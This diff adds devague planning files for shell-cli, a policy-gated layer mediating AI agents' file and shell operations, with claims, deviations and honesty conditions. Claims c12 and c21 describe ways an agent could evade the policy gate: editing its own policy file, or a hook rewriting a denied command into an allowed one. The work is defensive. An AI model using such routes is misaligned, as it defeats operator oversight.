diff --git a/.devague/current b/.devague/current new file mode 100644 index 0000000..0236707 --- /dev/null +++ b/.devague/current @@ -0,0 +1 @@ +guarded-local-operations-plane diff --git a/.devague/current_plan b/.devague/current_plan new file mode 100644 index 0000000..0236707 --- /dev/null +++ b/.devague/current_plan @@ -0,0 +1 @@ +guarded-local-operations-plane diff --git a/.devague/deliveries/guarded-local-operations-plane.json b/.devague/deliveries/guarded-local-operations-plane.json new file mode 100644 index 0000000..20b5a5b --- /dev/null +++ b/.devague/deliveries/guarded-local-operations-plane.json @@ -0,0 +1,48 @@ +{ + "plan_slug": "guarded-local-operations-plane", + "schema_version": 1, + "created": "2026-07-19T01:13:43Z", + "updated": "2026-07-19T01:13:55Z", + "deviations": [ + { + "id": "d1", + "what": "colleague is dropped from both the implementer and the reviewer role in this fan-out; Claude subagents implement, and independent review comes from SonarCloud plus Qodo on each PR", + "task_ref": "t73", + "reason": "The approved gate-2 split plan assigned t73/t75/t81-t83 to 'ask-colleague write --apply' and put 'ask-colleague review' on every task diff. Two consecutive colleague drives on well-scoped READ-ONLY tasks (explore 923ceb0bd061, review b507f26c5c80) both ended status=incomplete with steps=0, never calling finish. In each the local vllm-openai Qwen3.6-27B emitted a tool call as literal assistant text ('' and ' run_command:') instead of a structured call. Notably 'colleague doctor --probe' reports tool_calling OK, so the probe is not representative of the drive path. A backend that completes zero steps on a read-only audit cannot be trusted to implement a CI gate or to review a security-relevant diff.", + "affects": [ + "t75", + "t81", + "t82", + "t83" + ], + "origin": "llm", + "status": "proposed", + "classification": "needs-follow-up" + }, + { + "id": "d2", + "what": "t72 and t73 start from partially-complete work rather than from scratch: CLAUDE.md was already rewritten and scripts/colleague_inventory.py already authored during the spec phase, so each task is reduced to its remaining delta", + "task_ref": "t72", + "reason": "The plan was written after the /scope->/think->/challenge->/spec-to-plan arc had already produced the CLAUDE.md operations-plane rewrite and the pinned AST inventory scanner as spec evidence. Treating t72/t73 as greenfield would mean deleting and re-authoring committed-quality work to satisfy the plan's narrative. t72's remaining delta is the issue #1 six-part plan post plus AGENTS.colleague.md/README.md alignment and the artifact-trail commit; t73's remaining delta is wiring scripts/colleague_inventory.py --check into tests.yml as a known-debt gate publishing debt_remaining.", + "affects": [ + "t73" + ], + "origin": "llm", + "status": "proposed", + "classification": "acceptable" + }, + { + "id": "d3", + "what": "PR ordering is forced to strict sequence rather than the plan's parallel wave 1: t71 alone, then t72, then t73", + "task_ref": "t71", + "reason": "publish.yml triggers on the pyproject.toml path and every PR must bump the version, so EVERY merge publishes to PyPI. The plan's wave 1 would have run t72 and t73 in parallel with the artifact-trail commit, but any merge landing before t71 would publish an unhardened release to an append-only index. t71 therefore merges strictly first and alone. This narrows realised parallelism at the start of the run but is required by t71's own acceptance criterion that it merge first.", + "affects": [ + "t72", + "t73" + ], + "origin": "llm", + "status": "proposed", + "classification": "acceptable" + } + ] +} diff --git a/.devague/frames/guarded-local-operations-plane.json b/.devague/frames/guarded-local-operations-plane.json new file mode 100644 index 0000000..2a3f75f --- /dev/null +++ b/.devague/frames/guarded-local-operations-plane.json @@ -0,0 +1,1505 @@ +{ + "slug": "guarded-local-operations-plane", + "title": "guarded local operations plane", + "schema_version": 3, + "status": "exported", + "created": "2026-07-18T19:42:28Z", + "updated": "2026-07-19T00:13:40Z", + "claims": [ + { + "id": "c1", + "kind": "announcement", + "text": "shell-cli is the guarded local operations plane for AI agents: every work-affecting local operation an agent takes \u2014 read, write, edit, list, media, shell, tests, lint, hooks, git/worktree, trusted CLI invocation \u2014 is normalized into one Operation, evaluated against an operator policy, executed in a selected environment (host or container), and returned with structured evidence. Colleague decides why, when, and which; shell-cli owns plan, authorize, execute, observe, record.", + "origin": "user", + "status": "rejected", + "honesty_conditions": [ + { + "id": "h1", + "text": "One operation engine genuinely backs both surfaces: a test drives the same Operation through the library API and through the CLI and asserts identical OperationResult status, policy verdict, and effects. If the CLI can reach an execution path the library cannot, the announcement is false.", + "status": "rejected", + "instruction": "" + } + ], + "hard_questions": [], + "links": [], + "instruction": "Build the lifecycle pipeline first (Operation -> policy -> runner -> result+evidence) with HostRunner as the only backend, then express the six colleague primitives as operation kinds on top of it. Do not build the six primitives first and retrofit a pipeline." + }, + { + "id": "c2", + "kind": "boundary", + "text": "The base package keeps dependencies = [] (pyproject.toml:16) and issue #1 \u00a79 requires a zero-dependency/import-leak guard in the FIRST implementation PR, not later. Git/Docker/Podman are PATH executables discovered by subprocess, never Python SDKs; optional integrations go behind extras.", + "origin": "llm", + "status": "confirmed", + "honesty_conditions": [ + { + "id": "h48", + "text": "The zero-dep guard exists in the first implementation PR and genuinely fires: adding a third-party import to shell-cli's core fails the test, and the test asserts [project].dependencies literally as well as snapshotting sys.modules.", + "status": "confirmed", + "instruction": "" + } + ], + "hard_questions": [], + "links": [], + "instruction": "" + }, + { + "id": "c3", + "kind": "boundary", + "text": "tests/test_honesty.py machine-enforces the guard-not-a-sandbox posture with two regexes: _CLAIM bans affirmative 'is/provides/offers ... sandbox', 'sandboxed', and 'fully isolated'; _NEGATOR only excuses them inside a negating sentence. The Milestone 4 container runner must therefore be worded as a 'declared isolation boundary with a documented profile' (issue #1 \u00a77) \u2014 phrasing it as a sandbox fails CI.", + "origin": "llm", + "status": "confirmed", + "honesty_conditions": [ + { + "id": "h49", + "text": "Every shipped surface passes tests/test_honesty.py, and the container runner's documentation describes a declared isolation boundary with a documented profile rather than making an affirmative isolation claim.", + "status": "confirmed", + "instruction": "" + } + ], + "hard_questions": [ + { + "id": "q2", + "text": "risk: The honesty guard is regex-based over six surfaces. It catches affirmative sandbox/isolation phrasing but cannot catch a claim made structurally \u2014 e.g. an API named 'sandbox_exec', a profile called 'isolated', or evidence metadata implying containment the runner does not provide. Wording passing CI is necessary, not sufficient.", + "resolved": false, + "blocking": false + } + ], + "links": [], + "instruction": "" + }, + { + "id": "c4", + "kind": "boundary", + "text": "Dependency direction is one-way and permanent: Colleague imports shell-cli; shell-cli never imports Colleague (issue #1 \u00a79, \u00a714). shell-cli must not import Colleague contracts such as ToolOutcome \u2014 Colleague adapts neutral results on its side (\u00a78).", + "origin": "llm", + "status": "confirmed", + "honesty_conditions": [ + { + "id": "h50", + "text": "shell-cli's import graph contains no colleague module \u2014 asserted structurally, and colleague's contracts (ToolOutcome, Step) appear nowhere in shell-cli's source.", + "status": "confirmed", + "instruction": "" + } + ], + "hard_questions": [], + "links": [], + "instruction": "" + }, + { + "id": "c5", + "kind": "non_goal", + "text": "shell-cli contains no model, planner, memory, web browser, or domain workflow (issue #1 \u00a71, \u00a715). Web semantics belong to webglass-cli, memory to eidetic-cli, and devague/culture/coherence keep their own domain logic \u2014 all four sibling repos exist locally at /home/spark/git, so these are live boundaries, not hypothetical ones.", + "origin": "llm", + "status": "confirmed", + "honesty_conditions": [], + "hard_questions": [], + "links": [], + "instruction": "" + }, + { + "id": "c6", + "kind": "requirement", + "text": "CLAUDE.md is stale against the source of truth: it documents the narrow 'extract six primitives + confinement + policy' framing and a 'Definition of done, first milestone' that issue #1 explicitly supersedes ('supersedes the original narrow extract-six-tools framing while preserving that extraction as the first compatibility slice'). It must be rewritten to the operation-plane model before it misdirects the next agent that reads it.", + "origin": "llm", + "status": "confirmed", + "honesty_conditions": [ + { + "id": "h2", + "text": "CLAUDE.md contains no statement contradicting issue #1, and its own 'source of truth' line makes the issue authoritative so future drift resolves in the issue's favour rather than ambiguously.", + "status": "confirmed", + "instruction": "" + } + ], + "hard_questions": [], + "links": [], + "instruction": "" + }, + { + "id": "c7", + "kind": "requirement", + "text": "Every new noun/verb needs a shell/explain/catalog.py entry \u2014 tests/test_cli.py::test_every_catalog_path_resolves walks the catalog and the teken rubric gate requires any noun with action-verbs to expose 'overview'. Issue #1 \u00a76's canonical groups (env, fs, process, git, policy, operation) add roughly 20 new paths, so catalog + explain authoring is per-slice work, not a final docs pass.", + "origin": "llm", + "status": "confirmed", + "honesty_conditions": [ + { + "id": "h3", + "text": "Adding a noun/verb without a catalog entry fails CI \u2014 verified by temporarily registering a verb with no entry and observing test_every_catalog_path_resolves fail.", + "status": "confirmed", + "instruction": "" + } + ], + "hard_questions": [], + "links": [], + "instruction": "" + }, + { + "id": "c8", + "kind": "boundary", + "text": "docs/threat-model.md already satisfies the 'documented threat model that does not claim to be a sandbox' bar for the host guard, but it is written entirely around the six primitives and a single host path. The two-axis environment model (workspace x runner) means it must gain a per-runner section that keeps the host-guard and container-isolation claims textually separate, per issue #1 \u00a77.", + "origin": "llm", + "status": "confirmed", + "honesty_conditions": [ + { + "id": "h51", + "text": "docs/threat-model.md gains its per-runner split in the same PR that introduces ContainerRunner, and no single sentence in it covers both the host guard and container isolation.", + "status": "confirmed", + "instruction": "" + } + ], + "hard_questions": [], + "links": [], + "instruction": "" + }, + { + "id": "c9", + "kind": "boundary", + "text": "Process constraints bind every slice: the version-check CI job fails any PR whose pyproject.toml version matches main (including docs-only and CI-only PRs), and four lint gates plus 'teken cli doctor . --strict' run on every PR. Vertical slices are therefore each a full PR with a version bump, which argues for fewer, larger-but-coherent slices over many micro-PRs.", + "origin": "llm", + "status": "rejected", + "honesty_conditions": [], + "hard_questions": [], + "links": [], + "instruction": "" + }, + { + "id": "c10", + "kind": "requirement", + "text": "view_media TRAVELS to shell-cli \u2014 issue #1 \u00a75 maps it to a 'confined neutral fs.media observation' owned by shell-cli, with Colleague adapting the model payload. This closes CLAUDE.md's first parked open question, and makes the media result provider-neutral (\u00a716) rather than shaped for one harness's message format.", + "origin": "llm", + "status": "confirmed", + "honesty_conditions": [ + { + "id": "h4", + "text": "view_media works in shell-cli with no colleague import, and colleague's own five media call sites (loop, deepthink, context, livecheck, appserver) stay green against colleague's retained copy.", + "status": "confirmed", + "instruction": "" + } + ], + "hard_questions": [], + "links": [], + "instruction": "" + }, + { + "id": "c11", + "kind": "requirement", + "text": "Policy splits along evaluator-vs-location: the evaluator and policy DATA STRUCTURES move to shell-cli, but location resolution does NOT (issue #1 \u00a77). shell core accepts explicit policy data/files with no .colleague import; the Colleague adapter preserves existing repo/user/model overlays and the current file format during migration; shell-native policy versions independently. Absent policy and malformed-configured policy must stay distinct states \u2014 a malformed declared gate must never silently become allow-all.", + "origin": "llm", + "status": "confirmed", + "honesty_conditions": [ + { + "id": "h5", + "text": "shell-cli's policy module has zero colleague imports and passes an import-leak guard, while colleague's existing approvals.json files continue to load and produce byte-identical verdicts through the adapter.", + "status": "confirmed", + "instruction": "" + } + ], + "hard_questions": [], + "links": [], + "instruction": "" + }, + { + "id": "c12", + "kind": "requirement", + "text": "The read-only guard IS generalised: issue #1 \u00a73 lists 'read-only paths' as a plural environment attribute alongside mount, network, and secret policy \u2014 not colleague's hard-coded .colleague/neighbours subtree. Policy is snapshotted from trusted control context before model mutations so an agent cannot edit its own active authorization from inside the work root.", + "origin": "llm", + "status": "confirmed", + "honesty_conditions": [ + { + "id": "h6", + "text": "An operation whose work_root contains a policy file cannot change its own active authorization: a test mutates the policy inside the work root mid-run and asserts the snapshot taken from source_root still governs.", + "status": "confirmed", + "instruction": "" + } + ], + "hard_questions": [], + "links": [], + "instruction": "" + }, + { + "id": "c13", + "kind": "requirement", + "text": "Policy IS a first-class CLI surface: issue #1 \u00a76 lists 'shell policy check|explain' and 'shell operation show' among the canonical groups, closing CLAUDE.md's fourth parked question. Compatibility aliases (shell read/edit/run) may exist but must not distort the library model.", + "origin": "llm", + "status": "confirmed", + "honesty_conditions": [ + { + "id": "h7", + "text": "'shell policy check' returns the same Verdict the execution path would apply \u2014 same allow/deny and same reason string \u2014 so operators can predict a gate without running the command.", + "status": "confirmed", + "instruction": "" + } + ], + "hard_questions": [], + "links": [], + "instruction": "" + }, + { + "id": "c14", + "kind": "assumption", + "text": "Extraction is far cleaner than CLAUDE.md implies: five of the six handlers (_read_file:813, _write_file:860, _edit_file:878, _list_dir:947, _run_command:957) reference ZERO colleague modules and zero colleague config constants. view_media:827 is the sole coupled handler, and its only impurity is colleague.media. _DEFAULT_MAX_OUTPUT_CHARS is merely a constructor default (tools.py:675), so it inlines as 25000 with no behaviour change; MAX_SUBAGENT_FANOUT and SubResult are untouched by the six.", + "origin": "llm", + "status": "rejected", + "honesty_conditions": [], + "hard_questions": [], + "links": [], + "instruction": "" + }, + { + "id": "c15", + "kind": "requirement", + "text": "colleague/media.py cannot MOVE, only be copied: it is 111 lines and fully stdlib-clean (imports only base64 and pathlib), but flatten_parts and IMAGE_TOKEN_ESTIMATE serve five colleague-only call sites (loop.py, deepthink.py, context.py, livecheck.py, appserver.py) that shell-cli must not own. view_media needs only _MEDIA_TYPES + validate_attachment + build_part (~50 lines). Vendor that slice; colleague keeps its copy.", + "origin": "llm", + "status": "confirmed", + "honesty_conditions": [ + { + "id": "h8", + "text": "shell-cli vendors only the media slice it uses; a source scan confirms flatten_parts and IMAGE_TOKEN_ESTIMATE are absent from shell-cli, and colleague's copy is untouched by the migration.", + "status": "confirmed", + "instruction": "" + } + ], + "hard_questions": [], + "links": [], + "instruction": "" + }, + { + "id": "c16", + "kind": "requirement", + "text": "Schema byte-equivalence (issue #1 \u00a710) has concrete traps: SCHEMAS[:6] is a contiguous clean slice (tools.py:113-235) but _PATH_DESC (tools.py:61) is a shared constant interpolated into four of the six descriptions and must travel verbatim; list_dir uniquely has NO 'required' key at all; read_file's description embeds literal backslash-t escapes. A snapshot test comparing serialized JSON is the only honest guard.", + "origin": "llm", + "status": "confirmed", + "honesty_conditions": [ + { + "id": "h9", + "text": "A snapshot test serializes shell-cli's six schemas and asserts byte-equality against a fixture captured from colleague 1.51.0, including key order, _PATH_DESC interpolation, list_dir's absent 'required' key, and read_file's literal backslash escapes.", + "status": "confirmed", + "instruction": "" + } + ], + "hard_questions": [], + "links": [], + "instruction": "" + }, + { + "id": "c17", + "kind": "boundary", + "text": "Two orderings inside the handlers are load-bearing and must survive extraction verbatim. (1) _read_file numbers lines THEN truncates (tools.py:826) \u2014 reversing renumbers, and this ordering is the recorded fix for colleague issue #240 where a served model cited a line ~240 off. (2) ToolExecutor.execute wraps every non-ToolError exception into a recoverable model-visible error (tools.py:788-800); without an equivalent wrapper a handler crash aborts the drive instead of becoming a retryable step, breaking \u00a710's 'malformed arguments remain recoverable, never run aborts'.", + "origin": "llm", + "status": "confirmed", + "honesty_conditions": [ + { + "id": "h52", + "text": "A test asserts read output is numbered before truncation (a truncated read's surviving line numbers match the real file), and a handler raising an unexpected exception yields a recoverable model-visible error rather than aborting the run.", + "status": "confirmed", + "instruction": "" + } + ], + "hard_questions": [], + "links": [], + "instruction": "" + }, + { + "id": "c18", + "kind": "requirement", + "text": "The extracted executor's constructor is tiny: the six handlers touch only root, changed, bytes_written, _max_output_chars and the class-level _CLONE_SUBDIR. spawn, batch_spawn, deepthink, deepthink_calls, sub_results, _is_read_only and _allowlist are untouched by all six. This confirms issue #1 \u00a712's 'compose shell-cli into Colleague's router; do not subclass it' and refutes CLAUDE.md's proposed 'colleague subclasses the base executor' seam \u2014 no inheritance is needed because there is almost no shared state.", + "origin": "llm", + "status": "confirmed", + "honesty_conditions": [ + { + "id": "h53", + "text": "colleague composes shell-cli's executor without subclassing it, and shell-cli's executor constructor requires none of spawn, batch_spawn, deepthink, or an allowlist to serve the six primitives.", + "status": "confirmed", + "instruction": "" + } + ], + "hard_questions": [], + "links": [], + "instruction": "" + }, + { + "id": "c19", + "kind": "requirement", + "text": "Issue #1 \u00a717 gates large-scale work behind a concrete Milestone 0/1 plan posted as an issue reply, naming six things: (1) proposed Operation/OperationResult/Environment types; (2) the exact Colleague characterization tests; (3) how policy ordering and role refusal stay unchanged; (4) how state/accounting maps without importing Colleague; (5) which direct subprocess paths are parked for Milestone 3; (6) the smallest first PR that proves the seam without duplicating a framework. It also asks that Devague challenge the plan for boundary leaks, false safety claims, version skew, and environment-bypassing operations \u2014 so /challenge is an expected leg, not optional.", + "origin": "llm", + "status": "confirmed", + "honesty_conditions": [ + { + "id": "h10", + "text": "The Milestone 0/1 plan is posted as a reply on issue #1 and answers all six numbered items, and no implementation PR merges before it is posted.", + "status": "rejected", + "instruction": "" + }, + { + "id": "h58", + "text": "The Milestone 0/1 plan is posted as a reply on issue #1 and answers all six numbered items, and no SHELL-CLI IMPLEMENTATION PR merges before it is posted. This gate governs shell-cli implementation only; it does not delay the urgent colleague policy-resolution patch, which is independently scoped security work.", + "status": "confirmed", + "instruction": "" + } + ], + "hard_questions": [], + "links": [], + "instruction": "" + }, + { + "id": "c20", + "kind": "non_goal", + "text": "No giant rewrite and no god object: issue #1 \u00a712 requires independently reviewable vertical slices, \u00a711 warns against a 'giant Shell god object' in favour of small composable handlers behind one lifecycle pipeline, and \u00a715 forbids 'adding abstractions with no current Colleague or CLI consumer'. The 5-milestone plan is the delivery contract; Milestone 1 explicitly does NOT remove Colleague's implementation.", + "origin": "llm", + "status": "confirmed", + "honesty_conditions": [], + "hard_questions": [], + "links": [], + "instruction": "" + }, + { + "id": "c21", + "kind": "boundary", + "text": "The policy gate must receive the REWRITTEN arguments, not the original call. colleague/loop.py:962 re-wraps as ToolCall(call.id, call.name, arguments) precisely so a pre_tool hook rewrite is still gated; the in-code comment at :957-963 states this as the ordering contract. A naive extraction that passes the original silently reintroduces a rewrite-bypass hole \u2014 a hook could rewrite a denied command into an allowed shape. This is the single most security-relevant line in the extraction.", + "origin": "llm", + "status": "rejected", + "honesty_conditions": [], + "hard_questions": [ + { + "id": "q1", + "text": "risk: If the extraction passes the original ToolCall rather than the rewritten arguments, a pre_tool hook can launder a denied command into an allowed shape and the policy gate silently stops gating. This is a security regression that no existing colleague test would catch, because colleague never exercises rewrite-then-deny together.", + "resolved": false, + "blocking": false + } + ], + "links": [], + "instruction": "" + }, + { + "id": "c22", + "kind": "assumption", + "text": "Milestone 0's inventory is smaller and more tractable than the brief implies: colleague has exactly 21 process-spawn literals across 16 modules \u2014 6 project, 15 control, 0 observe-owned \u2014 plus roughly 40 filesystem-mutation sites that are genuinely runtime-private bookkeeping confined to .colleague/. The brief's scan list is partly vacuous: there are ZERO os.system, asyncio.create_subprocess_*, os.remove/rename/makedirs, shutil.copytree/move, and zero docker/podman invocations anywhere in colleague. Milestone 0 should close those explicitly as vacuously satisfied rather than silently.", + "origin": "llm", + "status": "rejected", + "honesty_conditions": [], + "hard_questions": [], + "links": [], + "instruction": "" + }, + { + "id": "c23", + "kind": "requirement", + "text": "The Milestone 3 'boundary test preventing new unclassified direct subprocess paths' (issue #1 \u00a712) does not need inventing \u2014 colleague/tests/test_boundary.py ALREADY pins the set of modules permitted to import subprocess. The migration extends an existing enforced invariant rather than establishing a new one, which materially lowers the risk of that milestone.", + "origin": "llm", + "status": "confirmed", + "honesty_conditions": [ + { + "id": "h11", + "text": "The extended boundary test fails when a new unclassified subprocess import is added to a colleague module outside the permitted set \u2014 verified by adding one and observing the failure.", + "status": "rejected", + "instruction": "" + }, + { + "id": "h26", + "text": "The boundary invariant is enforced by a COMMITTED KNOWN-DEBT ALLOWLIST, not by deliberately breaking anything. scripts/colleague_inventory.py ships an ALLOWLIST naming every module permitted to spawn a process today, each tagged with its profile and a debt flag; --check exits non-zero the moment a spawn literal appears in a module outside that list. Verified against a synthetic fixture rather than by mutating colleague: an unclassified path yields exit=1 naming the offending file:line, while colleague at the pinned commit yields exit=0. Debt starts at 13 modules and MUST reach zero by the end of Milestone 3 \u2014 a debt entry is a scheduled migration, not a permanent exemption.", + "status": "confirmed", + "instruction": "" + } + ], + "hard_questions": [], + "links": [], + "instruction": "Wire 'python3 scripts/colleague_inventory.py --check' into CI at Milestone 0 so a new unclassified path fails immediately while the 13 known-debt modules are migrated. Decrement the debt list as each module routes through shell-cli; the milestone is not done while any debt=True entry remains." + }, + { + "id": "c24", + "kind": "requirement", + "text": "Two shell=True sites have different trust stories and warrant different mediation, though colleague justifies both with the same 'trusted operator env' comment: tools.py:1022 runs a model-authored string with no allow-list beyond the clone guard, while hooks.py:405 runs a repo-authored .colleague/hooks.json command AROUND EVERY TOOL CALL including control-plane ones. Collapsing them into one process.shell operation kind would flatten a real trust distinction.", + "origin": "llm", + "status": "confirmed", + "honesty_conditions": [ + { + "id": "h12", + "text": "process.shell and the hook execution path carry distinct profiles in evidence, so an operator can tell from an evidence record whether a command was model-authored or repo-authored.", + "status": "confirmed", + "instruction": "" + } + ], + "hard_questions": [], + "links": [], + "instruction": "" + }, + { + "id": "c25", + "kind": "requirement", + "text": "colleague/lint.py:100-102 runs 'ruff check --fix' and 'ruff format' \u2014 it MUTATES tracked source in the target workspace while being classified as a gate. This is the highest-value ambiguity in the inventory, and it contrasts deliberately with tools.py:1213-1219 which goes out of its way to keep run_tests byte-neutral. Under issue #1 \u00a75 lint maps to process.exec profile project, so its mutations must surface in OperationResult's changed-paths effects rather than being invisible because 'it is only a linter'.", + "origin": "llm", + "status": "confirmed", + "honesty_conditions": [ + { + "id": "h13", + "text": "A lint operation that rewrites files reports those files in OperationResult's changed-paths effects; a test runs a formatter over a deliberately misformatted file and asserts the path appears.", + "status": "confirmed", + "instruction": "" + } + ], + "hard_questions": [], + "links": [], + "instruction": "" + }, + { + "id": "c26", + "kind": "boundary", + "text": "Policy extraction is nearly free: policy.py:79-351 (Verdict, Policy and all methods, file_checksum, verify_checksum, _first_token, _parse_policy_file, _str_list, _str_map) is roughly 270 lines of dependency-free stdlib requiring zero changes. Only load_policy:354-400 needs a seam for resolve_file and sanitize_model. Cleanest option: pass pre-resolved candidate paths so policy stops knowing about config-dir layout entirely \u2014 this satisfies issue #1 \u00a77's 'shell core accepts explicit policy data/files and has no .colleague import' without injecting two callables.", + "origin": "llm", + "status": "confirmed", + "honesty_conditions": [ + { + "id": "h54", + "text": "shell-cli's policy module imports nothing from colleague and resolves no config-dir layout of its own \u2014 it accepts explicit policy data or pre-resolved candidate paths, verified by an import-leak check.", + "status": "confirmed", + "instruction": "" + } + ], + "hard_questions": [], + "links": [], + "instruction": "" + }, + { + "id": "c27", + "kind": "audience", + "text": "AI coding-agent harnesses that must touch the local machine. colleague is the first and currently only real consumer; webglass-cli, eidetic-cli and coherence-cli are adjacent capability CLIs, not consumers. Secondary audiences the evidence surface must serve: the operator, telemetry, and an external validator such as Heimdall.", + "origin": "user", + "status": "confirmed", + "honesty_conditions": [ + { + "id": "h15", + "text": "colleague can drive every one of its six tools through shell-cli without importing anything colleague-specific from it, proving the audience is 'any harness' and not 'colleague with extra steps'.", + "status": "confirmed", + "instruction": "" + } + ], + "hard_questions": [], + "links": [], + "instruction": "Design each API against the colleague call site AND one hypothetical second harness; if a parameter only makes sense to colleague, it belongs in the adapter, not the core." + }, + { + "id": "c28", + "kind": "before_state", + "text": "The file-and-shell surface lives inside colleague, welded to one host: 21 process-spawn literals across 16 modules, a ToolExecutor mixing six generic primitives with colleague-specific tools, and a policy evaluator coupled to colleague's config-dir layout. Every other harness that needs the same primitives reimplements them \u2014 and reimplements the safety model with them, usually worse.", + "origin": "user", + "status": "rejected", + "honesty_conditions": [ + { + "id": "h16", + "text": "The 21-spawn / 16-module inventory is reproducible: re-running the survey on colleague 1.51.0 yields the same counts and module set.", + "status": "rejected", + "instruction": "" + } + ], + "hard_questions": [], + "links": [], + "instruction": "Start Milestone 0 by committing the inventory as a fixture file so drift in colleague is detectable rather than re-surveyed by hand each time." + }, + { + "id": "c29", + "kind": "after_state", + "text": "Every work-affecting local operation is normalized into one Operation, evaluated against an operator policy snapshot, executed in an explicitly selected environment, and returned with structured evidence including an honest completeness marker. colleague imports shell-cli and has no unclassified direct subprocess path; shell-cli never imports colleague.", + "origin": "user", + "status": "confirmed", + "honesty_conditions": [ + { + "id": "h17", + "text": "A boundary test proves the negative: colleague has no direct subprocess path outside the permitted module set, and shell-cli's import graph contains no colleague module.", + "status": "confirmed", + "instruction": "" + } + ], + "hard_questions": [], + "links": [], + "instruction": "Ship the known-debt allowlist (scripts/colleague_inventory.py --check) in Milestone 0 so a NEW unclassified path fails immediately while the 13 DEBT-TAGGED MODULES (of 15 spawning modules, covering 21 spawn sites) are tracked as scheduled migrations. The gate passes throughout \u2014 it is a countdown to zero by Milestone 3, never a deliberately red test." + }, + { + "id": "c30", + "kind": "why_it_matters", + "text": "Safety claims that are reimplemented per harness drift, and drift silently. Consolidating the mechanism into one plane means the guard, the policy, the confinement and the evidence are written once, tested once, and \u2014 critically \u2014 described honestly once, instead of each harness quietly reinventing a weaker version while inheriting the stronger claim.", + "origin": "user", + "status": "confirmed", + "honesty_conditions": [ + { + "id": "h18", + "text": "The safety description in shell-cli and the safety description in colleague say the same thing about the same code path after migration, with no surface claiming more than the runner delivers.", + "status": "confirmed", + "instruction": "" + } + ], + "hard_questions": [], + "links": [], + "instruction": "When migrating each primitive, diff colleague's honest comments against shell-cli's docs and carry the candid wording verbatim rather than paraphrasing it upward." + }, + { + "id": "c31", + "kind": "success_signal", + "text": "The six colleague tools migrate with observable parity proven by characterization tests run against both paths BEFORE the legacy implementation is removed; base shell-cli stays pure-stdlib under an enforced guard; host mode is documented as a guard and never as a sandbox; container mode's actual isolation profile is tested and recorded per operation; and the CLI and library demonstrably share one operation engine.", + "origin": "user", + "status": "confirmed", + "honesty_conditions": [ + { + "id": "h19", + "text": "Parity is proven by running both implementations against the same fixtures in the same test session, not by inspection or by trusting that the code was copied faithfully.", + "status": "confirmed", + "instruction": "" + } + ], + "hard_questions": [], + "links": [], + "instruction": "Write the characterization harness before moving any code: capture colleague's observable behaviour as fixtures first, so the new implementation is measured against recorded truth rather than against itself." + }, + { + "id": "c32", + "kind": "decision", + "text": "CLAUDE.md has been rewritten from the superseded six-tool framing to the operation-plane model (done this session; 49 tests green, markdownlint clean, test_honesty.py still passing). It now carries the two-axis environment matrix, three profiles, four safety layers, the 5-milestone delivery plan, compatibility invariants, test ownership, and the survey ground truth so the next agent does not re-derive it.", + "origin": "user", + "status": "rejected", + "honesty_conditions": [ + { + "id": "h22", + "text": "CLAUDE.md's claims match the repo's actual state: its Current-state section says scaffold-only while no operation code exists, and the survey facts it quotes match colleague 1.51.0.", + "status": "rejected", + "instruction": "" + } + ], + "hard_questions": [], + "links": [], + "instruction": "Re-verify the quoted colleague line numbers whenever colleague's pinned floor moves; they are provenance, and stale provenance is worse than none." + }, + { + "id": "c33", + "kind": "requirement", + "text": "Documentation surfaces are per-slice deliverables, not a final pass. Every slice must leave CLAUDE.md, README.md, docs/threat-model.md, shell/explain/catalog.py, and the Status sections in learn/overview/explain honest about what is actually built. This is machine-backed: test_honesty.py gates the posture across six surfaces and test_every_catalog_path_resolves gates the catalog, so a slice that ships code without docs fails CI rather than merely drifting.", + "origin": "user", + "status": "confirmed", + "honesty_conditions": [ + { + "id": "h14", + "text": "A slice that adds a verb without updating the Status sections and catalog fails CI, and docs/threat-model.md gains its per-runner split in the same PR that introduces ContainerRunner \u2014 not a later one.", + "status": "confirmed", + "instruction": "" + } + ], + "hard_questions": [], + "links": [], + "instruction": "Add the catalog entry and Status-section update in the SAME commit as the verb it documents; never leave doc updates to a follow-up PR." + }, + { + "id": "c34", + "kind": "decision", + "text": "The development process for this work is itself in scope and follows the devague method end to end: /scope (done \u2014 20 entries with file:line provenance) then /think (this frame) then /challenge (a blind-spot pass, which issue #1 section 17 explicitly requires over the Milestone 0/1 plan) then /spec-to-plan then /assign-to-workforce for wave fan-out then /summarize-delivery to close the loop. Implementation is gated behind posting the six-part Milestone 0/1 plan as a reply on issue #1.", + "origin": "user", + "status": "confirmed", + "honesty_conditions": [ + { + "id": "h23", + "text": "Each leg of the process produces a durable committed artifact \u2014 scope entries, this frame, the challenge findings, the plan, the delivery summary \u2014 so the decision trail survives the session that produced it.", + "status": "confirmed", + "instruction": "" + } + ], + "hard_questions": [], + "links": [], + "instruction": "Run /challenge against the exported spec BEFORE /spec-to-plan, and post the Milestone 0/1 plan to issue #1 before any implementation PR opens." + }, + { + "id": "c35", + "kind": "boundary", + "text": "The frame covers the shell-cli side only. colleague's migration is colleague's to make: shell-cli proposes via a filed issue and never pushes a change into colleague's repo. Milestone 1 explicitly does not remove colleague's implementation, and Milestone 2's cutover is gated on colleague's own review.", + "origin": "user", + "status": "rejected", + "honesty_conditions": [ + { + "id": "h20", + "text": "No PR authored in this repo modifies files under the colleague checkout, and colleague's adoption lands as a filed issue that colleague's own maintainers action.", + "status": "rejected", + "instruction": "" + } + ], + "hard_questions": [], + "links": [], + "instruction": "File the colleague migration proposal via the communicate skill (auto-signs as shell-cli) once Milestone 1 publishes; do not open a PR against colleague." + }, + { + "id": "c36", + "kind": "success_signal", + "text": "Measurable parity and hygiene targets: all 6 tool schemas byte-identical (0 diffs against the colleague 1.51.0 fixture); base runtime dependencies stay at exactly 0; 100% of colleague's 6 project-profile and 15 control-profile spawn sites are classified before Milestone 3 closes; and the characterization suite runs both implementations over the same fixtures with 0 behavioural diffs before the legacy path is deleted.", + "origin": "user", + "status": "confirmed", + "honesty_conditions": [ + { + "id": "h21", + "text": "Each number is mechanically checked in CI, not asserted in prose: the schema diff count, the dependency count, and the behavioural diff count are all test assertions that fail the build when non-zero.", + "status": "confirmed", + "instruction": "" + } + ], + "hard_questions": [], + "links": [], + "instruction": "Encode each target as a test the day the corresponding slice starts, so the number is enforced from the first commit rather than audited at the end." + }, + { + "id": "c37", + "kind": "assumption", + "text": "Milestone 0's inventory is pinned and reproducible, not hand-surveyed. Against colleague 1.51.0 at commit 28fee290c51fc4310b9fc576981809ad5c3132c6, scripts/colleague_inventory.py finds 21 process-spawn literals across 15 modules \u2014 6 project, 15 control \u2014 with exactly two shell=True sites (hooks.py:405, tools.py:1022). NOTE: this CORRECTS the earlier hand survey, which reported 16 modules; the AST scanner shows the subprocess-importer set and the spawn-literal set are identical at 15. There are zero os.system, asyncio.create_subprocess_*, 